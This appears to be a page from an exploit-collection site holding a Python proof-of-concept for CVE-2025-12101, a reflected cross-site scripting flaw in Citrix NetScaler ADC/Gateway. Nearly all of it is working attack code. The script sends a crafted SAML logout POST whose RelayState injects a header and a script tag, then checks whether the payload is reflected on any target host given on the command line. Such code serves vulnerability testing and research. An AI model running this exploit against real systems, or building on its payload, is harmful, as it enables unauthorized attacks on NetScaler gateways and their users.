4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-12101.py PY
#!/usr/bin/env python3
#
# Simple PoC for CVE-2025-12101 – Citrix NetScaler ADC/Gateway Reflected XSS
#
# Based on research and payload details from:
#   https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/?1
#
# Use only on systems you are explicitly authorized to test.

import socket
import ssl
import re
import argparse
from urllib.parse import urlparse

# ===== ANSI COLORS =====
RED    = "\033[31m"
GREEN  = "\033[32m"
YELLOW = "\033[33m"
CYAN   = "\033[36m"
BOLD   = "\033[1m"
RESET  = "\033[0m"

# Body EXACTLY as provided (URL-encoded SAMLResponse + RelayState with <script>alert(1)</script>)
BODY = (
    "SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8%2BPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2Fz"
    "aXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJ0ZXN0IiBWZXJzaW9uPSIyLjAiPjxzYW1sOkFzc2Vy"
    "dGlvbiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0idGVzdCIg"
    "VmVyc2lvbj0iMi4wIj48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRD50ZXN0QGV4YW1wbGUuY29tPC9zYW1sOk5h"
    "bWVJRD48L3NhbWw6U3ViamVjdD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B&RelayState=DQpD"
    "b250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzY3JpcHQ%2bYWxlcnQoMSk8L3NjcmlwdD4%3d"
)

# Decoded payload expected to be reflected
PAYLOAD = "<script>alert(1)</script>"


def parse_target(url: str):
    """
    Accepts:
        -u https://www.example.com
        -u http://example.com
        -u www.example.com
    Returns:
        host, port
    """
    if not url.startswith("http"):
        url = "https://" + url

    parsed = urlparse(url)

    host = parsed.hostname
    if not host:
        raise ValueError("Invalid target URL")

    if parsed.port:
        port = parsed.port
    else:
        port = 443 if parsed.scheme == "https" else 80

    return host, port


def build_request(host: str, body: str) -> bytes:
    body_bytes = body.encode("ascii")
    content_length = len(body_bytes)

    request = (
        f"POST /cgi/logout HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: CVE-2025-12101-raw-PoC\r\n"
        f"Accept: */*\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {content_length}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode("ascii") + body_bytes

    return request


def recv_all(sock: ssl.SSLSocket, chunk_size: int = 4096) -> str:
    data = b""
    while True:
        try:
            chunk = sock.recv(chunk_size)
        except socket.timeout:
            break
        if not chunk:
            break
        data += chunk
    return data.decode("utf-8", errors="ignore")


def check_cve_2025_12101_script_payload(host: str, port: int = 443, timeout: int = 15):
    print(f"{CYAN}{BOLD}[*] Testing target: {host}:{port}{RESET}")

    ctx = ssl.create_default_context()

    try:
        raw_sock = socket.create_connection((host, port), timeout=timeout)
        sock = ctx.wrap_socket(raw_sock, server_hostname=host)
        sock.settimeout(timeout)
    except Exception as e:
        print(f"{RED}[!] Connection error: {e}{RESET}")
        return

    try:
        request = build_request(host, BODY)
        sock.sendall(request)
        response = recv_all(sock)
    finally:
        sock.close()

    print(f"\n{YELLOW}{BOLD}===== RAW HTTP RESPONSE BEGIN ====={RESET}")
    print(response)
    print(f"{YELLOW}{BOLD}===== RAW HTTP RESPONSE END ====={RESET}\n")

    m = re.search(r"HTTP/\d\.\d\s+(\d+)", response)
    status_code = int(m.group(1)) if m else 0

    reflected = PAYLOAD in response

    print(f"{CYAN}[+] HTTP status code: {status_code}{RESET}")
    print(f"{CYAN}[+] Payload '{PAYLOAD}' reflected: {reflected}{RESET}")

    if status_code in (200, 302) and reflected:
        print(
            f"\n{GREEN}{BOLD}[VULNERABLE]{RESET} "
            f"{GREEN}XSS confirmed on {host} with payload {PAYLOAD!r}{RESET}"
        )
    else:
        print(
            f"\n{BOLD}{RED}[INFO]{RESET} "
            f"{RED}No XSS behaviour detected on {host} with this payload.{RESET}"
        )


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2025-12101 – Citrix NetScaler Reflected XSS",
        allow_abbrev=False,
    )
    parser.add_argument(
        "-u", "--url", required=True, help="Target URL (e.g. https://www.example.com)"
    )
    args = parser.parse_args()

    host, port = parse_target(args.url)
    check_cve_2025_12101_script_payload(host, port)